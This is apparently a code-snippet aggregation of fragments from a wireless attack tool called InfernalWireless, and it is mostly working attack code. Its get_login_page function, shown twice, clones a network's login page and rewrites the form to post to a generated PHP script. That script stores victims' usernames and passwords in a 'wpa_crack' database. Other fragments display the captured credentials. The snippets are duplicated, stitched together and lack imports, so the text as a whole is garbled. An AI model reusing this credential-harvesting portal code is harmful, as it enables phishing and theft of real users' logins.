Example #1
0
    def on_timer(self):
        WPA_CRACK_DB = 'wpa_crack'
        username, password = db_connect_creds.read_creds()
        db_connection = MySQLdb.connect(host='localhost', user=username,
                                        passwd=password)
        cursor = db_connection.cursor()
        # db_setup.create_db(cursor, WPA_CRACK_DB, username, password)
        cursor.execute('USE %s' % WPA_CRACK_DB)
        cursor.execute('''SELECT * from content;''')
        data = cursor.fetchall()

        # print 'executing log 2 '

        tmpArray = []

        for row in data:
            if row[0] != '' or row[1] != '':
                tmpArray.append(row[0] + ' : ' + row[1])

            #     with open('./Modules/connected_clients.txt', 'r') as fhandle:
            # client_list = fhandle.read()
        array_to_string = "\n\n".join(tmpArray)

        self.text.SetValue(str(array_to_string))
        wx.CallLater(5000, self.on_timer)
def connect_to_database():
	username, password = db_connect_creds.read_creds()
	db_connection = MySQLdb.connect(host='localhost', user=username, passwd=password)
	cursor = db_connection.cursor()
	cursor.execute('CREATE DATABASE IF NOT EXISTS wpa_crack')
	cursor.execute('USE wpa_crack')
	cursor.execute('''CREATE TABLE IF NOT EXISTS content (
                      key1 VARCHAR(64), key2 VARCHAR(64)
                      )
                      ''')
def connect_to_database():
    username, password = db_connect_creds.read_creds()
    db_connection = MySQLdb.connect(host='localhost', user=username,
                                    passwd=password)
    cursor = db_connection.cursor()
    db_setup.create_db(cursor, WPA_CRACK_DB, username, password)
    cursor.execute('USE %s' % WPA_CRACK_DB)
    cursor.execute('''CREATE TABLE IF NOT EXISTS content (
                      key1 VARCHAR(64), key2 VARCHAR(64)
                      )
                      ''')
    def clearlog(self, e):
		
		try:
			username, password = db_connect_creds.read_creds()
			db = MySQLdb.connect("localhost", username, password, "wpa_crack")
			# prepare a cursor object using cursor() method
			cursor = db.cursor()
			# execute SQL query using execute() method.
			cursor.execute("truncate content")
		except:
			wx.MessageBox('Could not connect to DB', 'Warning/Error', wx.ICON_ERROR | wx.ICON_INFORMATION)
	def create_database(self):
		username, password = db_connect_creds.read_creds()
		cxn = MySQLdb.connect('localhost', user=username, passwd=password)

		date = datetime.now()
		
		
		cxn.query('CREATE DATABASE IF NOT EXISTS InfernalWireless')
		
		cxn.commit()
		cxn.close()
		
		cxn = MySQLdb.connect(db='InfernalWireless')
		
		cur = cxn.cursor()
		current_project_id = 0
    def refresh(self, e):
		
		try:
			username, password = db_connect_creds.read_creds()
			db = MySQLdb.connect("localhost", username, password, "wpa_crack")
		
			# prepare a cursor object using cursor() method
			cursor = db.cursor()
	
			# execute SQL query using execute() method.
			results = cursor.execute("SELECT * FROM content")
	
			# Fetch a single row using fetchone() method.
			#~ data = cursor.fetchone()
	
			#~ self.MultiLine.AppendText("Username:\t\tpassword\n")
			#~ self.MultiLine.AppendText("_________________________\n")
			
			if not results:
				self.MultiLine.AppendText("No Content has been updated")
				
			else:
				self.MultiLine.AppendText("Username:\t\tpassword\n")
				self.MultiLine.AppendText("_________________________\n")
	
			
			for row in cursor.fetchall() :
				if row[0]!="" or row[1] != "":
					
					self.MultiLine.AppendText(row[0]+":::\t\t"+row[1]+"\n")
			
					
					
					
	
					#~ self.MultiLine.AppendText(i)
			db.close()
		except:
			wx.MessageBox('Could not connect to DB', 'Warning/Error', wx.ICON_ERROR | wx.ICON_INFORMATION)
import os
import os.path
import sys
import wx
from datetime import datetime

os.system('/etc/init.d/apache2 start')
os.system('/etc/init.d/mysql start')

if not os.path.exists('dbconnect.conf'):
    print "DB Config 'dbconnect.conf' file doesn't seem to exist."
    print "Run db_setup.py."
    sys.exit(1)

# TODO - cleanup this too.
username, password = db_connect_creds.read_creds()

cxn = MySQLdb.connect('localhost', username, password)

date = datetime.now()


cxn.query('CREATE DATABASE IF NOT EXISTS InfernalWireless')

cxn.commit()
cxn.close()

cxn = MySQLdb.connect('localhost', username, password, db='InfernalWireless')

cur = cxn.cursor()
Example #8
0
import db_connect_creds
import os
import os.path
import sys
import wx
from datetime import datetime

os.system('/etc/init.d/apache2 start')
os.system('/etc/init.d/mysql start')

if not os.path.exists('dbconnect.conf'):
    print "DB Config 'dbconnect.conf' file doesn't seem to exist."
    print "Run db_setup.py."
    sys.exit(1)

username, password = db_connect_creds.read_creds()

cxn = MySQLdb.connect('localhost', username, password)

date = datetime.now()

cxn.query('CREATE DATABASE IF NOT EXISTS InfernalWireless')

cxn.commit()
cxn.close()

#~ cxn = MySQLdb.connect(db='InfernalWireless')

cxn = MySQLdb.connect('localhost', username, password, db='InfernalWireless')

cur = cxn.cursor()
Example #9
0
            def get_login_page():

                #
                import db_connect_creds

                username, password = db_connect_creds.read_creds()

                getcredsphp = '''

                <?php
$con=mysqli_connect("localhost","%s","%s","wpa_crack");
// Check connection
if (mysqli_connect_errno()) {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
// escape variables for security
$firstname = mysqli_real_escape_string($con, $_POST['username']);
$lastname = mysqli_real_escape_string($con, $_POST['password']);
$cDate= date("F j, Y, g:i a");
$hyphenput = "<->";
$sql="INSERT INTO content (key1, key2)
VALUES ('$cDate.$hyphenput.$firstname', '$lastname')";

if (!mysqli_query($con,$sql)) {
  die('Error: ' . mysqli_error($con));
}
echo "Now you may start browsing Internet";
//header('Location: http://google.com');

mysqli_close($con);
?> ''' %(username, password)
                tmpfile = open('/var/www/html/getcreds.php','w')
                tmpfile.write(getcredsphp)
                tmpfile.close()


                httplib.HTTPConnection.debuglevel = 1
                request = urllib2.Request('http://localhost/login.html')
                opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler())
                f = opener.open(request)
                ##article = re.sub(r'(?is)</html>.+', '</html>', article)
                redirect = f.url
                ##response = urllib2.urlopen('https://google.com')
                html = f.read()
                # print "Found the login page here: " + f.url
                ########## regex search and replace
                regex = re.search(r'action="([^"]*)".*?', html)
                post_action = str(regex.group(0))

                # ~ print "*" * 20
                # ~ print 'modifying the login page...'
                new_login = html.replace(post_action, 'action=getcreds.php')
                ##### create a login page
                index_page = open('/var/www/index2.html', 'wb')
                index_page.write(new_login)
                index_page.close()

                index_page2 = open('/var/www/html/index2.html', 'wb')
                index_page2.write(new_login)
                index_page2.close()

                ############# MOFIYING THE POST SCRIPT

                myhtml = open('/var/www/html/index2.html', 'r')

                read_html = myhtml.read()

                global read_html2
                read_html2 = read_html

                myhtml.close()

                number = 0

                html_proc = BeautifulSoup(read_html)

                inputs = html_proc.findAll('input')

                temparray = []

                for i in inputs:

                    try:

                        regexstring = str(i).replace('"', '\'')

                        regex_check = re.search(r'id=([^\s]+)', str(regexstring)).group(0).replace('id=', '')

                        # ~ print regex_check
                        # ~ print regex_check.group(0)


                        temparray.append(regex_check)

                    # ~ tmp = re.search(r'id=([^\s]+)', check).group(0).replace('id=','')
                    # ~
                    # ~ temparray.append(tmp.replace('"','\''))
                    except:
                        print ''

                self.mylistbox.Set(temparray)
            def get_login_page():

                #
                import db_connect_creds

                username, password = db_connect_creds.read_creds()

                getcredsphp = '''

                <?php
$con=mysqli_connect("localhost","%s","%s","wpa_crack");
// Check connection
if (mysqli_connect_errno()) {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
// escape variables for security
$firstname = mysqli_real_escape_string($con, $_POST['username']);
$lastname = mysqli_real_escape_string($con, $_POST['password']);
$cDate= date("F j, Y, g:i a");
$hyphenput = "<->";
$sql="INSERT INTO content (key1, key2)
VALUES ('$cDate.$hyphenput.$firstname', '$lastname')";

if (!mysqli_query($con,$sql)) {
  die('Error: ' . mysqli_error($con));
}
echo "Now you may start browsing Internet";
//header('Location: http://google.com');

mysqli_close($con);
?> ''' %(username, password)
                tmpfile = open('/var/www/html/getcreds.php','w')
                tmpfile.write(getcredsphp)
                tmpfile.close()


                httplib.HTTPConnection.debuglevel = 1
                request = urllib2.Request('http://localhost/login.html')
                opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler())
                f = opener.open(request)
                ##article = re.sub(r'(?is)</html>.+', '</html>', article)
                redirect = f.url
                ##response = urllib2.urlopen('https://google.com')
                html = f.read()
                # print "Found the login page here: " + f.url
                ########## regex search and replace
                regex = re.search(r'action="([^"]*)".*?', html)
                post_action = str(regex.group(0))

                # ~ print "*" * 20
                # ~ print 'modifying the login page...'
                new_login = html.replace(post_action, 'action=getcreds.php')
                ##### create a login page
                index_page = open('/var/www/index2.html', 'wb')
                index_page.write(new_login)
                index_page.close()

                index_page2 = open('/var/www/html/index2.html', 'wb')
                index_page2.write(new_login)
                index_page2.close()

                ############# MOFIYING THE POST SCRIPT

                myhtml = open('/var/www/html/index2.html', 'r')

                read_html = myhtml.read()

                global read_html2
                read_html2 = read_html

                myhtml.close()

                number = 0

                html_proc = BeautifulSoup(read_html)

                inputs = html_proc.findAll('input')

                temparray = []

                for i in inputs:

                    try:

                        regexstring = str(i).replace('"', '\'')

                        regex_check = re.search(r'id=([^\s]+)', str(regexstring)).group(0).replace('id=', '')

                        # ~ print regex_check
                        # ~ print regex_check.group(0)


                        temparray.append(regex_check)

                    # ~ tmp = re.search(r'id=([^\s]+)', check).group(0).replace('id=','')
                    # ~
                    # ~ temparray.append(tmp.replace('"','\''))
                    except:
                        print ''

                self.mylistbox.Set(temparray)